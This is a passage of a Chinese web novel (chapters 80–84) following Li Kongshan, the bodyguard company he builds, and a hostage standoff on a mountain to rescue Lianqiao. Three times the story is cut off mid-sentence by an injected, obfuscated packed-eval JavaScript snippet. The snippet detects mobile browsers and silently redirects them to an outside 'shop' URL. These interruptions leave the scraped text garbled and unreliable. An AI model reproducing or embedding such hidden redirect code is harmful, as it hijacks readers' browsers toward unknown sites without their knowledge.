经理说,要是他还能抗住的话,明天还可以再去,这段时间都缺人。 旅店继续续下去,几个大男人挤在一间屋子里,倒也将就过了,李空山拿着自己挣的钱,请许弋刚和孟河他们到面馆里吃面。 他知道,他们已经好久没有饱餐一顿了,前几日都只是吃点馒头应付。 于是,李空山给每个人都点了最大份的牛肉面,加肉,加鸡蛋,加配菜。 香气四溢的牛肉面逐一端上来,许弋刚和孟河、绍兴雨等人看得直流口水。 他们好久没有闻到这么香的东西了。 “还愣着干什么,快吃啊。”李空山把面逐一推到他们每个人的面前,“赶紧的,麻利点,别墨迹。” 面店老板把最后一碗面端上来,“慢慢吃哦——”随后便笑着转身离开。 绍兴雨眨巴眨巴眼睛,按耐住自己的馋,疑惑盯着李空山,“哥,你的呢?怎么没有你的那份。” “我不吃,”李空山端着手,很不屑似儿的,笑笑解释,“我在干活那里已经吃过了,他们有食堂,三荤三素,吃的特别好,可不比你们这个差。” “这样啊,那就差不多,”绍兴雨笑笑,满眼期待,“那——我们就开动了?” “开动你个鬼!” 孟河拍了下绍兴雨的脑袋,绍兴雨在所有人里面年级是最小的,他们待他就像待弟弟。 绍兴雨疑惑,摸摸自己的头,“打我干什么?” 没有人拿筷子开动,许弋刚低着头,保持沉默。 其余人也都看着李空山,欲言又止。 孟河盯着对面的少年,“哥,你在骗我们,你根本就没有吃。” “今天我问过旅店的人,他说你续了房,你虽然拿到了工钱,但是交完住宿费以后,就没剩多少,你不吃,是因为想让我们吃好点,又加肉又加鸡蛋的,剩下的钱只够给我们买,对不对?” 李空山笑了下,不以为意,“我说你在想什么,这怎么可能?一看你呀,就是狗血电视剧看多了。” 孟河没有跟着他笑,目光很严肃。 李空山也不再继续笑,别开目光,沉默了会儿,不禁叹息一声,“你说你们整得这么墨迹,至于吗,该吃就吃,一段饭而已,有什么大不了的。” 孟河招手,让面店老板再拿来一个空碗,孟河把自己碗里的面和肉粒夹到李空山面前的空碗去。 其余几人也重复着一样的动作,他们把自己碗里的面夹一些到李空山碗里。 虽一句话都不说,但每个人心里都很沉重,为李空山这样一心对大家好、却亏待他自己的行为而感到难过、悔恨。 孟河笑笑,眼里有泪光,“现在好了,哥,咱们每个人碗里都有吃的。就像你说的,咱们是兄弟,有难同当,有福,就得同享。” “愣着干什么,快吃呀。” 他们招呼着李空山动筷子。 李空山轻描淡写夹起一筷子面吃进嘴里,其他人也是。 可他们在那一刻,都有些热泪盈眶。 面条进肚子带来的饱腹感,远远不及这股温情带给他们内心的充盈。 81. 第 81 章 重整旗鼓以后,许弋刚和孟河他们又重新到外面去找临时工的活干。 人多力量大,渐渐地,他们能开始维持生活开销,日子逐渐好转。 李空山上次干活那地方还缺人,于是,他继续在这里站岗,每天领工钱。 即便是炎炎夏日,太阳暴晒,一动不动地站着,一站就是一天,他也依然不怕苦不怕累。 因为他有顽强的意志。 一天,李空山换上自己衣服下班的时候,刚走出大厦,迎面就走来一个小男孩。 小男孩从路边豪车里下来,手里举着一把水枪,对准着李空山:“看枪——李空山,我是来考验你的正义使者!” “哪儿来的小屁孩。” 李空山走过去,笑了下,在他面前蹲下,“你谁啊你?竟然知道我的名字,你父母呢?知道你出来乱跑吗?” 小男孩振振有词,歪着脑袋,一本正经,像个小大人,“我都说啦,我是正义的使者,我今天是来考验你的。” “切——” 李空山只当这小孩子在胡闹,听见车内有人在喊他“昊昊”,知道他的大人在这儿,便放心让他一个人待着,站起来,欲往前走。 “等等——” 车内走出一个七十多岁的男人。 他拄着拐杖,面容和蔼,笑着下车,注视着眼前的李空山。 “昊昊的话你别当真,小孩子胡闹而已,不过,我今天是特地来找你的。” “??” 李空山狐疑地转身,回头看突然出现的老爷子。 他紧缩眉头,不屑开口,“你谁啊?我可不认识你。” “你当然不认识我,但我,认识你的妈妈。” 李空山顿住,刚要转身的动作戛然而止。 - “欢迎来到我家,随便坐,不用客气,就当这里是自己家。” 李空山犹豫了下,摆摆手,还是迈入门槛,走了进去。 跟着他一起来的绍兴雨四处张望这座大别墅,不禁发出感叹,“哥——这房子也太大了吧,这简直就是梦中情宅啊!” 绍兴雨眨巴眨巴眼睛,不敢相信这是真的,而不是他在做梦。 李空山跟着顾老爷子走进屋子大客厅,在他的招呼下,坐在沙发上,看着斜对面的人,“……你找我来,有什么事?” “其实,我就是前几天恰好在路上看到了你,我也没想过能有一天还能碰见你,以前,我还以为你会一直待在清流镇不走呢。” 李空山百无聊赖笑笑,轻描淡写解释:“……哦……那什么,人嘛,总得出来闯荡闯荡不是?” 顾老爷子和蔼地看着他,“孩子,你别担心,也别有顾虑,你家里发生的事情,我都已经知道了。你的妈妈是我们家的恩人,我想感谢她,却一直没找到机会,终于,命运让我再一次遇见了你。” “感谢她?” 李空山对他妈妈的事还并不清楚。 一提起她,什么兴致都没有。 “一个抛夫弃子跑了的人,我可不见得她能做什么好事,你还感谢她?” 李空山站了起来,“我看你是认错人了吧,我妈就是个虚荣的女人,见我爸腿摔断了就跑到外面去,你一定是认错了人,一定。” 认定其中有误会,李空山叫上绍兴雨,准备带着他离开。 “等等,别急着走,我可没认错人。” 顾老爷子从抽屉里翻出一张照片,是李空山的妈妈和他们一家人的合照。 老爷子注视着照片解释,“当初啊,人贩子猖獗,昊昊他哥走丢,我们以为再也找不到他了,后来,是你的妈妈把他带回来,重新还给我们。你的妈妈是我们家的恩人……” “没错。”门外,一个比李空山大一点的年强人走了进来,他穿着西装,戴着眼镜,一看就是社会精英。 他走到李空山面前,“我就是那个孩子,你叫李空山对吧?别急着走,先坐下。” 没办法,李空山只好暂时坐一会儿,看看他们到底要搞什么名堂。 顾老爷子目光慈爱,看着李空山,“你妈妈虽然不在了,可是那份恩情,我们没有忘。孩子,我看你和你的人都在找活干对吧,我这里有一份工作,倒是很适合你们。” 李空山心高气傲,打断他的话,“别,我可不接受别人的施舍。” “这不是施舍,只是机会,能不能把握住,能不能做好,全看你们自己,和我这个引路人,半点儿关系都没有。” 坐在旁边的绍兴雨眨眨眼睛,凑到李空山旁边,低声开口,“哥,我倒是觉得,可以听听他说的是什么。” 年轻人在顾老爷子眼神示意下,接着把该说的话说下去。 “我们打听过你的消息,知道你以前在清流镇做过什么工作,我们家最近投资了一个安保公司,还比较缺人,也许,你们可以去试试。毕竟——你们看起来就像很能打的保镖,不是吗?” “至于今后能做个什么样子的公司出来,全看你们自己,我们只负责投资。” 绍兴雨听到后变得惊喜,“这好啊!这简直太适合我们了!” 他看向李空山,很自然地迁移其中的道理,“只不过说,以前我们在镇子里是吓唬人,同样的活,现在变成保护人的了而已。” “怎样?你愿意来试试吗?” 年轻人看向李空山,充满期待。 李空山沉默了会,脑海中回响起顾老爷子刚才说的那句话。 能并不能把握住机会,只看他们自己。 他斩钉截铁,气定神闲,“好啊,没问题。” 于是,就这样,李空山带着他们几个人干起了保镖的生意,由顾老爷子投资,最后,他们的生意做得越来越大。 风生水起。 而景融也是在那时,被顾老爷子介绍给李空山的。 他说,虽然景融拳脚功夫不行,但是脑子好使,各种信号系统追踪玩得都很在行,待在李空山身边,一定能给他们帮助。 最开始的时候,李空山不屑,认为景融这个人只是看着动静大,会点儿花拳绣腿的技术而已。 但后来,景融用自己的实力折服了李空山。 在他们出活给人会场负责安保工作时,景融送给每个人他自己研发的定位仪。 定位手表可以实时看到每个人的位置和自己的距离,且这块手表不用的时候,切换系统,看上去和普通手表没什么两样。 隐蔽性极高。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594271|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 慢慢地,李空山就接受了景融的加入。 一次吃饭的时候,闲聊之间。 李空山问景融,为什么顾老爷子把他介绍来,他就来了?是因为顾老爷子对他有恩吗? 景融说:“不是。顾老爷子说,让我自己选择去留。他只告诉我了一点关于你的事儿。” “说什么了?就让你决定跟着我干?”李空山好奇。 景融放下筷子,诚实回答,“他跟我说,你曾经因为伤人进过局子。” “这有什么好说的?”李空山不以为意,“你就不害怕?不认为我是个社会败类?” 景融摇头,“不认为。因为顾老爷子还说了,你这么做,是因为有人放火,烧死了庙里的孤儿。” 李空山顿住,蓦然想起自己当年失约了的那小女孩。 - 有天,顾老爷子在和李空山聊她的妈妈时,说起了她妈妈的勇敢。 “我记得你妈妈那时身形还很瘦小,可是她啊,一点儿都不怕,就那么硬生生地冒着被发现的风险,把昊昊他哥从人贩子团伙里带出来。” “对了,”顾老爷子还提到,“当时你妈妈最后一次和人贩子去的地方,就是清流镇,走之前她还跟我说,她准备趁机回去看看你。” 看他? 李空山想起自己小时候做的一个梦,梦里,他看到自己的妈妈回来看他,就在奶奶房间的窗户边上。 而他则犯了一写作业就打盹的老毛病,昏昏欲睡,左手撑着下巴,眼睛就快要闭上。 在他因失手脸差点栽下去而惊醒的瞬间,恍惚看到窗口有个一闪而过的身影。 像极了记忆中妈妈的身影。 长大以后,他慢慢觉得这是一个梦,因为这一幕一点儿都不真实,不切实际。 现在想来——这并不是梦,而是真实存在的。 李空山的妈妈,真的回来看过他,虽然仅仅只有一眼,可是那一眼,对于他的妈妈来说,已经是天大的赏赐。 清流镇……人贩子…… 回来看孩子的妈妈……窗台…… 警察一直在找的储存卡…… 李空山忽地抬起头,停下剥核桃的动作。 他好像想起了点儿什么。 看向窗外时,清风正吹拂树梢。 窗外生命力盎然。 李空山想起奶奶窗户台上放着的,她心爱的,始终屹立不倒的旧红皮收音机。 想起自己在打盹时,恍惚看见妈妈站在窗台边,看他,眼里满满的不舍。 二话不说,李空山拿起沙发上的外套就径直往外走。 顾老爷子拄着拐杖站起来,问他去哪儿。 他只是回头,说了一句,“谢谢你,顾老爷子,你让我想起了一件很重要的事。” 李空山火急火燎拿着外套走出别墅院子,恰好撞见招完人回来的孟河。 他问李空山这么着急是要去哪儿。 李空山快步往前走,给他留下一句话,“我回一趟清流镇。” 孟河盯着他的背影,一愣一愣的,还没搞懂怎么回事。 可这一天,李空山终于想明白了妈妈的出现和奶奶窗台上的收音机之间,有着怎样的联系。 82. 第 82 章 孙阚平立即转身,回到警局,火急火燎把卡片交给技术科的人员。 迎面走来的是陆平安。 他慌张说道:“陆队!储存卡找到了!” - 李空山提着南瓜粥回到医院里。 连翘肩窝处的伤口缝针,还需要静养一段时间。 “醒了?” 李空山看她的目光很柔和,走到床边,把南瓜粥放下,又打开盒子,盛出来,准备喂给她喝。 “李空山,刚刚你不在的时候,绍兴雨给我说了你们这些年的故事。” 他简单“哦”一声,不以为意。 连翘望着还在盛粥的他,继续开口,“……李空山,你最初带着他们来这里的时候,你一定很难对不对?因为你把你的钱全给我了。” “不难,没什么难的。你当初还不是一个人走到了现在?” 他不以为意,端起南瓜粥,舀起一勺,递到她嘴边,“快吃吧,再不吃就凉了。” 连翘坐起来,凑到勺子边,顺从地吃下勺子里舀起的粥,又把头抬起,满眼闪着期待的光,嘴角轻轻扬起,“所以,我们都很棒,对不对?” “当然,我们的尧尧是最棒的。” 李空山伸出手去帮她把散乱的碎发别到脑后。比起几年前她走的时候,连翘的头发长了许多,或许,这是时光辗转的证据。 “你也是。” 李空山注视她的目光一如从前柔和,他刚想起身,忽然,病房的门传来扣响声,有人从外面推开。 谢佟俞提着花篮子水果走进来,与李空山和连翘四目而对。 他愣了愣,“……你们俩……?” 李空山嫌他扫兴,还是无奈地若无其事坐回去。 气氛刚到,却被人打破,连翘盯着谢佟俞,看上去似乎也并不怎么欢迎他。 谢佟俞从上到下扫视着李空山。 少年长着一张俊朗的脸,个子高高的,身形挺拔。 看连翘时,目光很柔和,可是看别人,眼里却有股狠劲儿,尤其是回击谢佟俞的打量时。 谢佟俞匪夷所思地看看李空山,又看看连翘,皱眉惊呼,“你谁啊——为什么跟我们连翘这么亲密,还亲自喂她东西?!” “还有翘翘——你也是!!你为什么随便让一个陌生人喂你东西!!” 连翘往后躺,气定神闲,“谢佟俞,他不是陌生人。你别大惊小怪。” “不是陌生人?那为什么我从来没见过他?你身边的朋友有哪些,我可都很清楚。” 李空山端着手,满脸不屑往前站,斜睨着眼看他,“你又哪位?” “我当然是连翘的朋友!” 谢佟俞绕过李空山,走到连翘床边,把手里东西放下,又一脸严肃地对连翘说。 “要不是林叔叔告诉我,我都不知道你又进医院了,连翘,你知不知道你得好好爱惜自己的身体,别整天跟乱七八糟的人待在一起,老是让你受伤。” 说到最后几个字时,他特地瞄了眼旁边站着的李空山,生怕谁不知道,他是在故意指他这个人。 李空山抿了下嘴角,懒散地走到谢佟俞旁边,“哎,让让。” “不让,凭什么让。” “你说凭什么?” 李空山还没把话说完,连翘率先替他把接下来的话说出。 “谢佟俞,你别闹,他是我未来男朋友。” “未来??” “男朋友??” 谢佟俞瞪大眼睛,走到连翘面前直勾勾盯着她,“连翘,你知不知道你在说什么?我知道了,你是不是还没睡醒,所以才在这里说胡话!” 李空山听到那声“未来男朋友”的时候,不禁挑了下眉。他没想到连翘抢先自己一步的回答,竟是这个。 所以…… 他越往下想,心里越美滋滋的,就连那嘴角也情不自禁扬起。 “没开玩笑啊,我是说真的。” 连翘一脸诚恳地看着谢佟俞,“我以后要追求他的,如果他同意了,不就是我未来男朋友?” “听到没?” 李空山难掩得意,轻轻笑着把谢佟俞挤到一边,就着病床边的椅子坐下,“看不出来现在这里谁是多余那个?” 谢佟俞还不肯走,李空山偏要气他,故意端起盛满南瓜粥的盒子,继续细心喂她。 要是不小心沾到连翘嘴角上,他就扯出一张纸,小心翼翼地替连翘擦干净。 谢佟俞在旁边看着,又诧异,又气愤,难以置信地盯着眼前两人这眼里全是对方的模样。 “喂!” “我说你哦,别欺人太甚!别以为连翘想得简单,你就可以随意骗她,别以为我看不出来你接近我们连翘别有用心!” “连翘你也是,”谢佟俞把目光从李空山身上挪开,看向正前方的她,“怎么能随随便便就决定要追求一个人。你看看他,你们才认识多久?况且他还穿着黑夹克,戴着黑手表,裤子上还有奇奇怪怪的logo,一看就不是什么好人!” “你这话我必须得纠正你。” 李空山因连翘方才那句直接又率真的话,心中泛起阵阵得意之色,定要在谢佟俞面前宣示自己的地位和主权。 毕竟,他对谢佟俞这人印象很深刻。当初看到的那段表演视频里,和连翘一起同台演出的人,就是他。 李空山将他视作自己的劲敌。 “第一,我和连翘已认识多年,不敢说有多久,但至少比你早;第二,我更不是什么坏人,我对我家尧尧好都还来不及,坏你个头啊。倒是像你这样胡乱揣摩别人的人,嗯……那就说不定了。另外,你对我这logo有意见?它是我们公司的标致,这是队服,你不懂就别瞎说。” 谢佟俞哑口无言。 结合李空山刚才的话以及连翘看李空山的眼神,谢佟俞好似忽然明白,李空山是谁了——当初,连翘满心欢喜,鼓起勇气登上台,说想要把那首歌唱给一个人听。 这个人,就是他吧。 叩门声响起,门外再次传来脚步声。 “这么热闹,都在这儿呢?” 林帛圩提着东西来看连翘,恰好撞上此刻几人在这儿僵持不下。 几人目光相撞,林帛圩大摇大摆走了进来,把东西放下后,又拉着谢佟俞出去,“你跟我出来,我有事跟你说。” “干嘛——别拉我,我不去——” 林帛圩极力反抗,他还没搞清楚李空山这个靠不靠谱,绝对不能放他和连翘共处一室。 然而,林帛圩更是铁了心要把他拉出去。 他皱着眉头教训谢佟俞,“你说你也真是的,人家两个人好不容易见着面,你不给人家机会多相处相处,叙叙旧,跑到这儿来打搅他们做什么。” “要、你、管——” 不管谢佟俞怎么反抗,他这个闲杂人等终究是被林帛圩强行带了出去。 他跟在林帛圩身后,紧追不舍,“你怎么管得也那么宽?连翘同意你管她的事了吗,你就在这儿自作主张把我拉出来。” 林帛圩借用谢佟俞刚才的话,回头看他,“要、你、管——” - 待他们走以后,李空山又在病床边坐下,重新喂完连翘南瓜粥。 连翘想要拒绝,自己来就行,“你把我当三岁小孩了吗?我又不是没有手。” 李空山坚持要喂她粥,不让她自己动手,“那还用说?以前我进医院的时候,你都可以把我当小孩,天天喂我,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612227|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在换你,不得一样?” “是是是。” 见他如此坚持,连翘不经意一笑,倒也不再继续与他计较。 再也没有其他人的打扰,李空山很快地就喂完了手里端着的这盒南瓜粥。 他把盒子放到一边,问连翘还有没有想吃的。 她摇摇头,表示没有。 “李空山,在你眼里,我算不算一个很坏的人,就比如说,是一个不择手段的小坏蛋。” “不择手段的……小坏蛋?” 李空山把东西收拾好,在她旁边坐下,“怎么这么说?” 连翘同他解释,“你看啊,当初我接近你,是为了利用你,利用完以后,又把你甩了,这不是很坏吗?” “是挺坏的。” 李空山顺着她的话仔细想了想,又附和地点点头,笑了下,伸出手揽住她的肩膀,让她靠在自己怀里。 “不过啊……尧尧,你确实是不择手段地得到了我的心,我也得感谢你的不择手段,让我们相遇,不然,李空山还是从前那个只知道过一天算一天、什么抱负都没有的李空山。” “是吗?”她也轻轻扬起嘴角,满脸好奇地扬起脑袋看他,“那我们的李空山现在的抱负是什么?” “经营好公司,让手底下的人过得越来越好,以及……” “以及什么?” 他把目光落在她的身上,轻轻的,很柔和,充满无尽眷恋,“以及,追回我的尧尧。” 连翘愣了下,思绪忽然随着窗外吹进来的一阵风,漫步目的地穿梭回了多年前清流镇公交车站的入口处。 当年执拗站在墙边等她的少年,是不是那时就已经这样想了? 李空山坐直,侧着身子看她,两人目光相对,“不过话说回来,尧尧,刚刚我好像记得某人说过什么……我是她未来男朋友之类的话吧?” 连翘笑笑,在李空山彻底揭穿她之前,还想要伪装一会儿。 她装出一副相当震撼的表情,“是吗?真的假的?” 可她嘴角的笑却暴露出她此刻的明知故问。 “你还想跟我装不懂是吧?” 李空山垂眸盯她,那双漆黑的眼眸子里盘旋着积攒多年的思念。 “没有!” 连翘重新靠在李空山肩头,心平气和解释,拉长声音,“我这不是想逗逗你嘛。” 话刚说完,连翘有重新坐直,变得一本正经,不容任何人质疑她此刻的坚定和真诚。 “不过我说的可都是真的!李空山,应该被追回来的人不是我,而是你,不是你把我弄丢了,是我弄丢了你。所以,李空山,等赵本奇和陈黑子获罪伏法以后,你就等着迎接我的追求吧!” 李空山用手戳了下她的额头,像听笑话一般打趣,“行了,这种事该是你一个女孩子先开口的吗?应该我先开口。” 他顿了顿,沉默片刻后开口,侧着头,去看她,眼神真诚,“尧尧……等眼下的事都解决完以后,你愿意当我的女朋友吗?确切来说,我的意思是,做我的爱人,我终其一生都要拼命守护的爱人。” 连翘趴在他的肩头,笑容浅淡,满眼都是甜蜜。 “当然。” 她的话钻入李空山耳朵里,他希望自己听到的这一切都是真的——如果他没有无意间看到连翘给孙阚平发的短信的话。 短信里,她说,她要骗李空山留在医院,自己找机会走。 所以…… 连翘靠在李空山的怀里,而他则望向窗外,眼底黯然失色。 她说不会再骗他了,可这句话也是骗人的。 李空山不明白,到底是什么原因,让她宁愿与自己在这儿上演虚情假意的好戏,也要以身涉险找机会离开。 83. 第 83 章 “尧尧,我给你买了早饭,你起来了吗?趁热吃了吧。” 李空山推门进去,走过门口拐角转弯,一抬头,却忽然发现没了连翘的身影。 他早就料到会有这一刻。 连翘她还是要走,可是她要去哪儿? “尧尧?” 李空山变得慌张,左顾右盼,到卫生间去看,每个角落里都没有人。 房间里找寻无果后,他直接甩门出去。 靠在门外墙壁等候的孟河在打盹,见李空山慌张走出来,走过去询问,“哥,怎么了,出什么事了?” “尧尧不见了。” 李空山欲往外走,“你去联系孙阚平,让他带人来查医院的监控。” 孟河整个人也跟着变警惕,“那你呢?” “叫上景融,我和他一起去找。” “好。” 这一次,李空山一定要问问她,到底要去哪儿,到底想做什么。 - 车子一经发动,就以极快的速度朝远处驶去。 景融坐在车子后方,时刻全神贯注关注着眼前的追踪点,“刚子,下一个路口右转,我们的最终目的地是香山竹海。” “好。” 许弋刚负责开车,回应景融的话后,一脚踩下油门,车子轰出去。 李空山已知晓,连翘所处的位置和追踪到的陈黑子的位置几乎一致。 她不可能突然去找陈黑子和邱炀,所以,是他们绑走了连翘吗? 李空山垂下目光,控制不住自己不去设想。 景融翻出一个手表,交给副驾驶的李空山,“哥,这东西你戴上,确保我们能随时知道你的位置。” 李空山回头,看了眼景融手里的手表,又把目光挪到他身上,“怎么,就这么不放心我?” “哥,你拿着吧,不然,我真放心不下。” 李空山就这样盯着景融,沉默了几秒,他还记得顾老爷子刚把景融介绍到他这里的时候,他活力满满、做一切专业对口事情都很自信的模样。 少有像今天这般,看到景融紧张不安。 “好,我收下。” 李空山接过景融手里的手表,戴在手腕上,“这东西就是定个位而已,就那么重要,非带不可?” 景融将身子往前凑,“哥,你信我,这东西关键时候,绝对能派上用场。” “信你信你。” 李空山不会质疑景融,他说的,他都信。 几人抵达香山竹海。 山脚下地面空阔,修着几家农家乐,每年四五月的时候,这里是旅游旺季,来此游玩的游客很多。 而现在正值九月,旅游淡季,游客很少。 车子停下以后,李空山打开车门,快速下车,径直朝通往山顶的那条竹海路走去。 景融和许弋刚靠着车而站,目送他远去。 许弋刚咬咬牙,心痒痒,气急败坏,着急道:“我说景融,你到底有没有点儿良心,那竹海顶上不知道会有什么危险,咱就让哥一个人去,这像什么话啊!” “你冷静点,”景融关注着眼前屏幕中一直没有变动的定位点,“忘记哥刚才怎么说的了吗?待在这里,静观其变,不要贸然上去。” 许弋刚冷静不了,厉声骂道:“那上面不就是有陈黑子和邱炀两个垃圾玩意嘛,有什么大不了的,凭什么说危险,就不让我们跟着一起!” 景融偏头看他,“是,刚子你说的没错,我们的敌对面只是陈黑子和邱炀,可是你也别忘了,他们手里还有连翘。就凭这一点,哥他怎么都不敢冒险。” “陈黑子发来短信让哥一个人上去,他就只敢让他自己一个人上去。” 许弋刚挪开眼,气愤消散,再也说不了什么。 竹海之所以被称作竹海,离不开此地长满高耸入天的竹林,密密麻麻的,林间有山雾水汽萦绕,宛若虚幻的仙境。 山路崎岖不平,前几日下过雨,坑坑洼洼的沟里积蓄雨水,竹海所在的香山山腰处有一处浅滩。 农人正驱赶着马匹到此饮水。 李空山目光黯淡,一步一步往山上走去,脑海里不断浮现着上次陈黑子欲用刀子刺他,却被连翘用身子挡下的画面。 连翘的奋不顾身还浮现在眼前。 她真的对他一点儿感情和情面都没有吗? 不然,她为什么要当面一套背后一套,前一秒刚说想和他在一起,后一秒,又给孙阚平发消息,说她和他这一切都是做戏,只为骗过他,然后悄悄离开。 可是,她如果真的对他一点儿感情都没有,当陈黑子握着刀冲过来的时候,连翘又为什么要挡在他的面前? 李空山想不明白。 连翘的感情就像沉入大海的细针,令人难以寻觅,更加捉摸不透。 他既不敢百分百肯定连翘是有一点点在意她的,又不敢否认,连翘拿她只当陌生人和利用的工具。 可是,不管怎样,李空山有一点很清楚。 他要护着他的女孩,他绝不能再让连翘有任何危险。 就像多年前,他少不知事,不能保护自己的妈妈一样,而现在,他必须得将心爱之人牢牢护好。 以及,替死去的妈妈报仇。 - 刚走到竹海的山顶最高处亭子,陈黑子就推着连翘走出来。 连翘的手被反捆在身后,右眼斜下方有一处擦伤,嘴巴被缠上胶带,不能开口出声。 当她看到现身的人是李空山的那一刻,眼里猝然闪现惊诧,也许,她以为来的人不应该是李空山。 陈黑子把连翘拉到山崖处,从后面掐住她的后脖子,歪了下头,替身前的连翘抹平她此刻的疑惑。 “怎样,你是不是很好奇,为什么来的人会是他?” 陈黑子勾起狡黠的嘴角,抬起头直勾勾盯着正前方不远处的李空山。 “我给他手机发短信,告诉他,如果想要你活着,就来这里,以命换命,”话说完以后,陈黑子又把目光挪至前方的连翘肩上,“你别以为我不知道你和那姓陆的警察在搞什么名堂,不就是想把我引出来,然后一网打尽么?只可惜,你们今天怕是不能如愿了。” “你信不信,我如果说准备把你从这儿推下去,李空山绝对会让我停手,同意以命换命。” 连翘往身后瞄了一眼,竹海所在的这座山深不见底,如果掉下去,怕是会粉身碎骨,可她却没有丝毫胆怯。 陈黑子把封住连翘嘴巴的胶布撕开,抵着她脖子的刀往前推了些。“给你个机会,求他救你,兴许你今天就能活命了。” 她直视着正前方路面,唯独不敢看李空山,声音放低,听起来好似无所谓,“陈黑子,陆平安已经带着人来这儿了,你要是想把我推下去,我倒也不介意,就看你还愿不愿意再多背负一条人命。” “你背负的人命,你手上沾满的鲜血,这辈子都不会干。” “想要我按你说的做,简直做梦。” “不怕死是吗,”陈黑子的耐心在逐渐消失,瞪着前方,“他在自己的性命和你之前,会选谁。” 陈黑子不再继续和连翘废话,抬起头盯着正步步朝两人逐渐靠近的李空山,“我让你带来的东西,你带了吗?” 李空山把手里的储存卡举起,神情紧绷,却也面色不改,“在这儿。” 陈黑子又歪了下头,耐人寻味地盯着他,“在带着这东西来之前,你还没有交给警察,对吗?” “没有。” “你如何保证?” “我人都来了,你要是不信,随时可以杀我灭口。” 李空山站定以后,不再继续往前走,目光落在他挟制住的连翘身上,“喂,我都按你说的做了,该把人放了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617362|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “她啊?可以啊。” 陈黑子狡黠地笑笑,“前提是一命换一命,你到我这儿来,我就放她走。” “行。” 李空山正要往前走,陈黑子往后退了不,小心谨慎。 “等等,你先把你身上的家伙全都丢了。” 李空山往旁边看,无奈笑笑,都藏得这么好了,还能看出来?果然,从前在清流镇一起鬼混那么多年,陈黑子对他的了解并不比孟河他们差。 他当着陈黑子的面,坦然把手放下,逐一取出藏在里衣里的刀片、利刃、锐器……放到干涸的土地上。 “现在总行了吧?” 李空山像个没事人似儿的,继续往前走,陈黑子的眼睛直勾勾盯着李空山,好似随时担心着他会有任何反常举动似儿的。 他把刀子死死挨着连翘的脖子,刀刃似乎冒出冷气,在向连翘宣告死神的觊觎。 连翘冷着脸,盯着李空山朝自己缓缓走来,“你疯了!回去!” “不回。” 他笑了笑,笑容纯粹简单,好似几年前蹲在墙头调皮捣蛋,要去外面给她摘花的少年。 “尧尧,你还欠我一个离开的理由,在你说清楚之前,我不会让你随随便便再离开。” 他竭尽全力地表现得很无谓,只是想让她不那么害怕。 连翘的瞳孔蓦然缩进,她不知道李空山这句话里几分真,几分假。 他看上去好像是在开玩笑,其实,这是他一直想说的不是吗。 他嘴上总说,自己已经不计较当年她抛弃一切离开他的这件事了,可实际上,李空山的心里始终住着一个执拗的小孩。 在她没有承认她心里有一点点他的位置之前,他怎么可能就此算了。 他一直都想问为什么。 他一直都想要连翘给他一个理由,一个……不是因为不喜欢他的理由。 “让她走,我到你旁边。” 李空山站定以后不动,偏头示意陈黑子。 陈黑子沉默了几秒,眼神在两人肩上来回飘荡,最后,他把连翘往前一推,以极快的速度将李空山的肩膀反扣住,左脚踩住他的膝盖窝,用力往下踩。 “李空山!”连翘被推开以后,回头去看他,眼神里布满慌张和焦急。 “还愣着干什么,赶紧走啊,”李空山故意摆出一副不耐烦的模样激她,“刚才就是跟你说笑而已,你还真以为你在我心里很重要?” 他不屑地笑笑,语重心长,“妹妹,我开玩笑的,我来这儿是为了解决私人恩怨,不关你事,识趣点就赶紧走,别在这儿碍眼。” 连翘太了解李空山了,他此刻的表情,他的语气,他的眼神,每一处细节,她都能透过这些,看清楚他心里到底在想什么。 与此同时,通往山顶的台阶处,邱炀从下面走了过来。 他额头上缠着头巾,脸上有些灰土,手上缠着纱巾,眼神阴鸷,挡在路口,“晚了,现在连你也走不了。” 连翘顺着声音看去,是邱炀。 在此之前,她就在奇怪为什么没有看到他,原来,他是躲起来,引李空山只身上山来了。 李空山往右边一看,倏忽站起,捡起不远处自己刚放下的锐器,转身就朝陈黑子的眼睛方向划去。 陈黑子迅速躲开,李空山追上来,举起锐器继续朝陈黑子的弱点处攻去。 连翘的心随着李空山的每一次躲闪和进攻而砰砰直跳,于此同时,邱炀也朝她走来。 她明白,邱炀想用自己要挟李空山。 于是,她捡起李空山方才缴械的刀,对准步步逼近的邱炀。 邱炀不屑一顾,“你以为你伤得了我?” 只见连翘突然把手里的刀转了一个方向,对准自己的脖子,“我是伤不了你,但我死了,你们就没有可以要挟李空山的了。” 84. 第 84 章 邱炀顿了下,没再继续往前,毕竟那张储存卡还在李空山手里,未能得手。 在与李空山打斗之时,陈黑子借着与他僵持不下靠近的间隙,对他说,“我还有个秘密要告诉你,你想不想知道?是关于当年我们拐卖的那批女孩的。” “那批人里,她——是唯一一个活下来的人。” 